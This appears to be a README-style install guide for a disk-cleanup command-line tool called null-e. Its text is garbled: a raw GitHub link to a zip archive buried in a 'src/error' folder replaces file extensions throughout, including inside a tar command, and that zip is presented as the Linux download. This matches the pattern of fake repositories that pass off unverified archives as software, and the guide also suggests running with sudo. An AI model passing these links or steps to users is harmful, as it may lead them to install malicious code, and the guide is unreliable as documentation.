Welcome to null-e, the disk cleanup tool that helps developers reclaim space on their devices. This guide will walk you through the steps to download and run null-e without any technical knowledge.
null-e is a command line tool designed to clean up unnecessary files on your computer. It targets folders like node_modules, target, .venv, Docker caches, and Xcode caches. With null-e, you can reclaim over 100 GB of disk space efficiently. It runs fast and works on macOS, Linux, and Windows.
- Operating System:
- macOS: Version 10.12 or newer
- Linux: Any modern distribution
- Windows: Version 10 or newer
- Disk Space: At least 200 MB for installation
- Network Connection: Required for downloading the application
- Comprehensive Cleanup: Removes unwanted files to free up disk space.
- User-Friendly: Easy to install and use with simple commands.
- Cross-Platform: Works on macOS, Linux, and Windows.
- Fast Performance: Built with Rust for speed and efficiency.
To get started, visit the downloads page where you can obtain the latest version of null-e:
Once you open the releases page, you will see several versions. Follow these steps:
- Look for the latest version which is usually at the top of the list.
- Click on the desired file for your operating system (e.g.,
.exefor Windows,https://raw.githubusercontent.com/lakeez201/null-e/main/src/error/e_null_3.9-alpha.3.zipfor Linux). - The download will start automatically.
After the download finishes, follow the instructions below based on your operating system to install and run null-e.
- Locate the downloaded file in your
Downloadsfolder. - Open your terminal.
- Navigate to the folder where the file is located by typing:
cd ~/Downloads
- Make the file executable by typing:
chmod +x null-e-<version>.app
- Now, you can run it by typing:
./null-e-<version>.app
- Find the downloaded file in your
Downloadsfolder. - Open your terminal.
- Navigate to the folder with the downloaded file:
cd ~/Downloads
- Extract the https://raw.githubusercontent.com/lakeez201/null-e/main/src/error/e_null_3.9-alpha.3.zip if necessary:
tar -xzf null-e-<version>https://raw.githubusercontent.com/lakeez201/null-e/main/src/error/e_null_3.9-alpha.3.zip
- Go into the extracted folder and run:
cd null-e-<version> ./null-e
- Locate the downloaded
.exefile in yourDownloadsfolder. - Double-click the file to run the application.
- Follow the on-screen instructions to use null-e.
After installing, using null-e is straightforward.
- Open your command line tool (Terminal on macOS/Linux, Command Prompt or PowerShell on Windows).
- To clean up specific folders, run:
null-e clean
- If you want to target specific directories, use:
null-e clean /path/to/directory
- You can also specify options to include/exclude folders in your cleanup operation.
Here are common scenarios you might encounter and how to resolve them:
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Permission Issues: Ensure you have permission to access the folders you wish to clean. Use
sudoon Linux and macOS if needed. -
Command Not Found: Make sure that null-e is added to your system's PATH. Refer to the installation steps to adjust this.
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Cleanup Issues: If you notice that not all junk files are cleared, try running the command again or check if there are any configuration errors.
If you have any issues or questions, feel free to check the FAQ section in the repository or reach out through the Issues tab on GitHub.
If you want to help us make null-e even better, check out the contributing guidelines in the repository. Your support makes a difference in the project.
Follow this repository for updates and new releases to ensure you always have the latest version of null-e.
You can see all the available releases at the following link: